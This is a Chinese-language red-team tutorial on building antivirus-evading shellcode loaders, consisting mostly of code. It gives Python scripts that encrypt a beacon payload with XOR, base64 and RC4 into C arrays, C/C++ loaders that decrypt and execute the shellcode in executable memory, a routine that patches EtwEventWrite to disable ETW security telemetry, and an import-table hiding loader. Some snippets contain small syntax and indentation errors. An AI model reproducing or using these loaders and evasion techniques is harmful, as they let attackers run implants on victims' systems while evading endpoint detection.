Bootstrap

红队免杀样本编写——对shellcode处理、免杀逃逸效果

shellcode处理篇

c语⾔数组

使用python,将bin文件处理成C语言数组

def read_binary_file(filename):
    with open(filename, "rb") as file:
         return file.read()

def generate_c_array(data): 
    nop = "\t0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,"
    c_array = ""
    for i, byte in enumerate(data):
        if i % 100 == 0:
             c_array += "\n"
             c_array += "\t"
        c_array += f"0x{byte:02X}, "
     c_array = c_array.rstrip(", ") # 移除最后⼀个逗号和空格
     return "{"+nop+c_array+"\n};"

def main():
    # 读取⼆进制⽂件
    filename = "beacon.bin"
    binary_data = read_binary_file(filename)
    # ⽣成C格式的数组
    c_array = generate_c_array(binary_data)
    # 将结果输出到⽂件
    output_filename = "res.txt"
    with open(output_filename, "w") as file:
        file.write(c_array)

if __name__ == "__main__":
    main()

xor加密

数字型异或

异或编码
def read_binary_file(filename):
    with open(filename, "rb") as file:
       return file.read()


def xor_data(data, key):
    return bytes(byte ^ key for byte in data)


def generate_c_array(data):
    nop = "\t0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,"
    c_array = nop + "\n\t"
    for i, byte in enumerate(data):
       if i % 100 == 0 and i != 0:
          c_array += "\n\t"
       c_array += f"0x{byte:02X}, "
    c_array = c_array.rstrip(", ")  # 移除最后一个逗号和空格
    return "{" + c_array + "\n};"


def main():
    # 读取⼆进制⽂件
    filename = "beacon.bin"
    binary_data = read_binary_file(filename)

    # 异或处理数据
    xor_key = 77
    xor_result = xor_data(binary_data, xor_key)

    # ⽣成C格式的数组
    c_array = generate_c_array(xor_result)

    # 将结果输出到⽂件
    output_filename = "res.txt"
    with open(output_filename, "w") as file:
       file.write(c_array)


if __name__ == "__main__":
    main()
解密执行
#include <Windows.h>

// 异或解密函数的实现
void xorDecrypt(unsigned char* data, size_t size, unsigned char key)
{
    for (size_t i = 0; i < size; ++i)
{
        data[i] ^= key;
    }
    }

int main()
{
    // 加密的Shellcode
    unsigned char encryptedShellcode[] = { 0xdd };
    // 计算Shellcode的⼤⼩
    size_t shellcodeSize = sizeof(encryptedShellcode) - 1; // 减去字符串结尾的空字符
    // 解密Shellcode
    xorDecrypt(encryptedShellcode, shellcodeSize, 77);
    // 分配可执⾏内存
    HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
    PVOID pShellcode = HeapAlloc(hHeap, 0, shellcodeSize);
    RtlCopyMemory(pShellcode, encryptedShellcode, shellcodeSize);
    // 创建线程执⾏Shellcode
    DWORD dwThreadId = 0;
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, &dwThreadId);
    WaitForSingleObject(hThread, INFINITE);
    // 清理资源
    HeapFree(hHeap, 0, pShellcode);
    CloseHandle(hThread);
    HeapDestroy(hHeap);
    return 0;
}

字符型异或

异或编码

def read_binary_file(filename):
    with open(filename, "rb") as file:
    return file.read()
def xor_data(data, key):
    key_length = len(key)
    return bytes(byte ^ key[i % key_length] for i, byte in enumerate(data)
)
def generate_c_array(data):
    c_array = ""
    for i, byte in enumerate(data):
       if i % 100 == 0:
          c_array += "\n"
          c_array += "\t"
       c_array += f"0x{byte:02X}, "
    c_array = c_array.rstrip(", ") # 移除最后⼀个逗号和空格
    return "{"+c_array+"\n};"

def main():
    # 读取⼆进制⽂件
    filename = "beacon.bin"
    binary_data = read_binary_file(filename)
    # 异或处理数据
    xor_key = "baidu"
    xor_result = xor_data(binary_data, xor_key.encode())
    # ⽣成C格式的数组
    c_array = generate_c_array(xor_result)
    # 将结果输出到⽂件
    output_filename = "res.txt"
    with open(output_filename, "w") as file:
       file.write(c_array)
if __name__ == "__main__":
    main()
解密执⾏
#include <Windows.h>
// 异或解密函数的实现
void xorDecrypt(unsigned char* data, size_t size, const char* key){
    size_t keyLength = strlen(key);
    for (size_t i = 0; i < size; ++i){
       data[i] ^= key[i % keyLength];
    }
}

int main()
{
    // 加密的Shellcode
    unsigned char encryptedShellcode[] = "xxx"; // 加密的Shellcode
    // 计算Shellcode的⼤⼩
    size_t shellcodeSize = sizeof(encryptedShellcode) - 1; // 减去字符串结尾的空字符
    // 解密Shellcode
    const char* xorKey = "baidu";
    xorDecrypt(encryptedShellcode, shellcodeSize, xorKey);
    // 分配可执⾏内存
    HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
    PVOID pShellcode = HeapAlloc(hHeap, 0, shellcodeSize);
    RtlCopyMemory(pShellcode, encryptedShellcode, shellcodeSize);
    // 创建线程执⾏Shellcode
    DWORD dwThreadId = 0;
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, &dwThreadId);
    WaitForSingleObject(hThread, INFINITE);
    // 清理资源
    HeapFree(hHeap, 0, pShellcode);
    CloseHandle(hThread);
    HeapDestroy(hHeap);
    return 0;
}

base64编码

编码

import base64


def read_binary_file(filename):
    with open(filename, "rb") as file:
        return file.read()


def base64_encode(data):
    encoded_data = base64.b64encode(data)
    return encoded_data.decode("utf-8")


def generate_c_array(data):
    c_array = ""
    for i, char in enumerate(data):
        if i % 100 == 0:
            c_array += "\n"
    c_array += "\t"
    c_array += f"0x{ord(char):02X}, "
    c_array = c_array.rstrip(", ")  # 移除最后⼀个逗号和空格
    return "{" + c_array + "\n};"


def main():
    # 读取⼆进制⽂件
    filename = "beacon.bin"
    binary_data = read_binary_file(filename)

    # Base64编码处理数据
    encoded_data = base64_encode(binary_data)

    # ⽣成C格式的数组
    c_array = generate_c_array(encoded_data)

    # 将结果输出到⽂件
    output_filename = "res.txt"
    with open(output_filename, "w") as file:
        file.write(c_array)


if __name__ == "__main__":
    main()

解密执⾏

#include <Windows.h>
#include <string>
#include <vector>
#include <iostream>
#include <algorithm>
#include <iterator>
#include <sstream>
#include <iomanip>
#include <stdexcept>

// 解码Base64函数的实现
std::vector<unsigned char> base64Decode(const std::string& encodedData)
{
        static const std::string base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 + / ";
        size_t encodedLength = encodedData.size();
        if (encodedLength % 4 != 0)
{
            throw std::invalid_argument("Invalid Base64 encoded string.");
        }
    size_t padding = 0;
        if (encodedLength > 0 && encodedData[encodedLength - 1] == '=')
{
            padding++;
            if (encodedData[encodedLength - 2] == '=')
{
                padding++;
            }
        }
    size_t decodedLength = (encodedLength * 3) / 4 - padding;
    std::vector<unsigned char> decodedData(decodedLength, 0);
        for (size_t i = 0, j = 0; i < encodedLength;)
{
            uint32_t sextet_a = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);
            uint32_t sextet_b = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);
            uint32_t sextet_c = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);
            uint32_t sextet_d = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);
            uint32_t triple = (sextet_a << 18) | (sextet_b << 12) | (sextet_c<< 6) | sextet_d;
            if (j < decodedLength)
{
                decodedData[j++] = (triple >> 16) & 0xFF;
            }
            if (j < decodedLength)
{
                decodedData[j++] = (triple >> 8) & 0xFF;
            }
            if (j < decodedLength)
{
                decodedData[j++] = triple & 0xFF;
            }
    }
    return decodedData;
}

int main()
{
    // Base64编码的Shellcode
    std::string encodedShellcode = "xxx"; // Base64编码的Shellcode
    // Base64解码Shellcode
    std::vector<unsigned char> decodedShellcode = base64Decode(encodedShellcode);
    // 分配可执⾏内存
    HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
    PVOID pShellcode = HeapAlloc(hHeap, 0, decodedShellcode.size());
    RtlCopyMemory(pShellcode, decodedShellcode.data(), decodedShellcode.size());
    // 创建线程执⾏Shellcode
    DWORD dwThreadId = 0;
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, &dwThreadId);
    WaitForSingleObject(hThread, INFINITE);
    // 清理资源
    HeapFree(hHeap, 0, pShellcode);
    CloseHandle(hThread);
    HeapDestroy(hHeap);
    return 0;
}

RC4加密

常规rc4

加密转换
from Crypto.Cipher import ARC4

def encrypt_rc4(key, data):
    cipher = ARC4.new(key)
    encrypted_data = cipher.encrypt(data)
    return encrypted_data

def generate_c_array(data):
    c_array = ""
    for i, byte in enumerate(data):
        if i % 100 == 0 and i != 0:
            c_array += "\n"
        c_array += "\t"
        c_array += f"{hex(byte)}, "
    return "{\t" + c_array.rstrip(", ") + "\n};"

def write_to_file(filename, content):
    with open(filename, "w") as file:
        file.write(content)

# 读取文件
with open("beacon.bin", "rb") as file:
    beacon_data = file.read()

def main():
    # RC4加密
    key = b"YourKey"
    encrypted_data = encrypt_rc4(key, beacon_data)
    
    # 生成C格式数组
    c_array = generate_c_array(encrypted_data)
    
    # 写入文件
    write_to_file("res.txt", c_array)

if __name__ == "__main__":
    main()
解密执⾏
main.cpp
#include <Windows.h>
#include "rc4.h"

int main() {
    char key[] = "YourKey";
    unsigned char encrypted_shellcode[] = "encrypted_shellcode";
    int encrypted_shellcode_len = sizeof(encrypted_shellcode) - 1;
    unsigned char S[N] = { 0 };

    KSA(key, S);
    PRGA(S, reinterpret_cast<char*>(encrypted_shellcode), encrypted_shellcode_len);

    HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
    PVOID Mptr = HeapAlloc(hHeap, 0, encrypted_shellcode_len);
    RtlCopyMemory(Mptr, encrypted_shellcode, encrypted_shellcode_len);

    DWORD dwThreadId = 0;
    HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, &dwThreadId);
    
    WaitForSingleObject(hThread, INFINITE);
    
    return 0;
}
rc4.cpp
#pragma once

#define N 256 // 2^8

static void swap(unsigned char* a, unsigned char* b) {
    unsigned char tmp = *a;
    *a = *b;
    *b = tmp;
}

static int KSA(char* key, unsigned char* S) {
    int len = strlen(key);
    unsigned int j = 0;
    
    for (int i = 0; i < N; i++) {
        S[i] = i;
    }
    
    for (int i = 0; i < N; i++) {
        j = (j + S[i] + key[i % len]) % N;
        swap(&S[i], &S[j]);
    }
    
    return 0;
}

static int PRGA(unsigned char* S, char* plaintext, int plainTextSize) {
    int i = 0;
    int j = 0;

    for (size_t n = 0; n < plainTextSize; n++) {
        i = (i + 1) % N;
        j = (j + S[i]) % N;
        swap(&S[i], &S[j]);
        int rnd = S[(S[i] + S[j]) % N];
        plaintext[n] ^= rnd;
    }
    
    return 0;
}

// 使用案例
/*
static int RC4(char* key, char* plaintext, int plainTextSize) {
    unsigned char S[N] = { 0 };
    KSA(key, S);
    PRGA(S, plaintext, plainTextSize);
    return 0;
}
*/

base64+rc4

加密转换
from Crypto.Cipher import ARC4
import base64

def read_binary_file(filename):
    with open(filename, "rb") as file:
        return file.read()

def encrypt_rc4(key, data):
    cipher = ARC4.new(key)
    return cipher.encrypt(data)

def base64_encode(data):
    return base64.b64encode(data).decode("utf-8")

def generate_c_array(data):
    c_array = ""
    for i, char in enumerate(data):
        if i % 100 == 0 and i > 0:
            c_array += "\n\t"
        c_array += f"0x{ord(char):02X}, "
    return "{" + c_array.rstrip(", ") + "\n};"

def main():
    filename = "beacon.bin"
    binary_data = read_binary_file(filename)
    # RC4加密
    key = b"YourKey"
    encrypted_data = encrypt_rc4(key, binary_data)
    # Base64编码处理数据
    encoded_data = base64_encode(encrypted_data)
    c_array = generate_c_array(encoded_data)
    # 将结果输出到文件
    output_filename = "res.txt"
    with open(output_filename, "w") as file:
        file.write(c_array)

if __name__ == '__main__':
    main()
解密执⾏
rc4.h 
#pragma once

#include <string.h>

#define N 256 // 2^8

static void swap(unsigned char* a, unsigned char* b) {
    unsigned char tmp = *a;
    *a = *b;
    *b = tmp;
}

static void KSA(const char* key, unsigned char* S) {
    int len = strlen(key);
    unsigned int j = 0;

    for (int i = 0; i < N; i++) {
        S[i] = i;
    }
    for (int i = 0; i < N; i++) {
        j = (j + S[i] + key[i % len]) % N;
        swap(&S[i], &S[j]);
    }
}

static void PRGA(unsigned char* S, unsigned char* plaintext, int plainTextSize) {
    int i = 0, j = 0;

    for (int n = 0; n < plainTextSize; n++) {
        i = (i + 1) % N;
        j = (j + S[i]) % N;
        swap(&S[i], &S[j]);
        int rnd = S[(S[i] + S[j]) % N];
        plaintext[n] ^= rnd;
    }
}

// 使用案例
/*
static void RC4(const char* key, unsigned char* plaintext, int plainTextSize) {
    unsigned char S[N] = { 0 };
    KSA(key, S);
    PRGA(S, plaintext, plainTextSize);
}
*/
base64.h 
#include <Windows.h>
#include <iostream>
#include <vector>
#include <stdexcept>

// 解码Base64函数的实现
std::vector<unsigned char> base64Decode(const std::string& encodedData) {
    static const std::string base64Chars = 
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

    size_t encodedLength = encodedData.size();
    if (encodedLength % 4 != 0) {
        throw std::invalid_argument("Invalid Base64 encoded string.");
    }

    size_t padding = 0;
    if (encodedLength > 0 && encodedData[encodedLength - 1] == '=') {
        padding++;
        if (encodedData[encodedLength - 2] == '=') {
            padding++;
        }
    }

    size_t decodedLength = (encodedLength * 3) / 4 - padding;
    std::vector<unsigned char> decodedData(decodedLength, 0);
    
    for (size_t i = 0, j = 0; i < encodedLength;) {
        uint32_t sextet_a = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);
        uint32_t sextet_b = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);
        uint32_t sextet_c = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);
        uint32_t sextet_d = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);
        
        uint32_t triple = (sextet_a << 18) | (sextet_b << 12) | (sextet_c << 6) | sextet_d;
        if (j < decodedLength) decodedData[j++] = (triple >> 16) & 0xFF;
        if (j < decodedLength) decodedData[j++] = (triple >> 8) & 0xFF;
        if (j < decodedLength) decodedData[j++] = triple & 0xFF;
    }
    
    return decodedData;
}
main.cpp
#include <Windows.h>
#include <string>
#include <vector>
#include "rc4.h"
#include "base64.h"

int main() {
    // Base64编码的Shellcode
    std::string encodedShellcode = {0x72, 0x39, 0x66, 0x63, 0x73, 0x34};
    
    // Base64解码Shellcode
    std::vector<unsigned char> decodedShellcode = base64Decode(encodedShellcode);
    
    char key[] = "YourKey";
    unsigned char S[N] = {0};
    KSA(key, S);
    PRGA(S, reinterpret_cast<char*>(decodedShellcode.data()), decodedShellcode.size());

    HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
    PVOID Mptr = HeapAlloc(hHeap, 0, decodedShellcode.size());
    RtlCopyMemory(Mptr, decodedShellcode.data(), decodedShellcode.size());

    DWORD dwThreadId = 0;
    HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, &dwThreadId);
    WaitForSingleObject(hThread, INFINITE);

    return 0;
}

免杀逃逸效果

patch etw

Windows 事件跟踪 (ETW) 是⼀项内置功能,最初设计⽤于执⾏软件诊断,如今 ETW 被EDR⼚商⼴泛
使⽤。对 ETW 的攻击会使依赖 ETW 遥测的⼀整类安全解决⽅案失效。
ETW指Windows事件追踪,是很多安全产品使⽤的windows功能。
其部分功能位于ntdll.dll中,可以修改内存中的etw相关函数达到禁⽌⽇志输出的效果,最常⻅的⽅法是
修改EtwEventWrite函数。

#include <windows.h>
#include <stdio.h>
#include <iostream>

using namespace std;

typedef void* (*tNtVirtual)(HANDLE ProcessHandle, IN OUT PVOID* BaseAddress,
                             IN OUT PSIZE_T NumberOfBytesToProtect,
                             IN ULONG NewAccessProtection,
                             OUT PULONG OldAccessProtection);
tNtVirtual oNtVirtual;

void patchETW() {
    unsigned char patch[] = {0x48, 0x33, 0xc0, 0xc3}; // xor rax, rax; ret
    ULONG oldprotect = 0;
    size_t size = sizeof(patch);
    HANDLE hCurrentProc = GetCurrentProcess();
    unsigned char sEtwEventWrite[] = "EtwEventWrite";

    void* pEventWrite = GetProcAddress(GetModuleHandle(L"ntdll.dll"), (LPCSTR)sEtwEventWrite);
    if (pEventWrite == NULL) {
        cout << "Error: Unable to get EtwEventWrite address" << endl;
        return;
    }

    printf("NTDLL.DLL START ADDRESS: %08x\n", (DWORD)GetModuleHandle(L"ntdll.dll"));
    FARPROC farProc = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtProtectVirtualMemory");
    if (farProc == NULL) {
        cout << "Error: Unable to get NtProtectVirtualMemory address" << endl;
        return;
    }

    printf("NtProtectVirtualMemory ADDRESS: %08x\n", (DWORD)farProc);
    oNtVirtual = (tNtVirtual)farProc;

    oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);
    memcpy(pEventWrite, patch, sizeof(patch));
    oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);
    FlushInstructionCache(hCurrentProc, pEventWrite, size);
}

int main() {
    patchETW();
    
    unsigned char ShellCode[] = ""; // Add your shellcode here
    void* exec = VirtualAlloc(0, sizeof(ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, ShellCode, sizeof(ShellCode));
    ((void(*)())exec)();

    return 0;
}

函数导⼊表隐藏

Import Address Table
在PE结构中,存在⼀个导⼊表,导⼊表中声明了这个PE⽂件会载⼊哪些模块,同时每个模块的结构中⼜
会指向模块中的⼀些函数名称。
这样的组织关系是为了告诉操作系统这些函数的地址在哪⾥,⽅便修正调⽤地址。
由于导⼊函数就是被程序调⽤但其执⾏代码⼜不在程序中的函数,这些函数的代码位于⼀个或者多个
DLL中。
当PE⽂件被装⼊内存的时候,Windows装载器才将DLL装⼊,并将调⽤导⼊函数的指令和函数实际所处
的地址联系起来(动态连接),这操作就需要导⼊表完成。
其中导⼊地址表就指示函数实际地址。

#include <Windows.h>
#include <intrin.h>
#include <stdio.h>

typedef LPVOID(WINAPI* ImportVirtualAlloc)(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD flAllocationType,
    DWORD flProtect
);

typedef HANDLE(WINAPI* ImportCreateThread)(
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    SIZE_T dwStackSize,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    DWORD dwCreationFlags,
    LPDWORD lpThreadId
);

typedef BOOL(WINAPI* ImportVirtualProtect)(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD flNewProtect,
    LPDWORD lpflOldProtect
);

typedef DWORD(WINAPI* ImportWaitForSingleObject)(
    HANDLE hHandle,
    DWORD dwMilliseconds
);

int main() {
    ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(
        GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
    ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(
        GetModuleHandle(TEXT("kernel32.dll")), "CreateThread");
    ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(
        GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect");
    ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(
        GetModuleHandle(TEXT("kernel32.dll")), "WaitForSingleObject");

    int shellcode_size = 0; // Shellcode length
    DWORD dwThreadId; // Thread ID
    HANDLE hThread; // Thread handle
    DWORD dwOldProtect; // Memory page attributes

    char buf[] = ""; // Placeholder for shellcode

    // Get shellcode size
    shellcode_size = sizeof(buf);

    // XOR the shellcode
    for (int i = 0; i < shellcode_size; i++) {
        _InterlockedXor8(buf + i, 10);
    }

    char* shellcode = (char*)MyVirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_READWRITE // Allocate readable and writable
    );

    // Copy shellcode to allocated memory
    CopyMemory(shellcode, buf, shellcode_size);

    // Change memory attributes to executable
    MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

    hThread = MyCreateThread(
        NULL, // Security attributes
        NULL, // Stack size
        (LPTHREAD_START_ROUTINE)shellcode, // Function
        NULL, // Parameter
        NULL, // Thread flags
        &dwThreadId // Thread ID
    );

    MyWaitForSingleObject(hThread, INFINITE); // Wait for thread to finish

    return 0;
}
;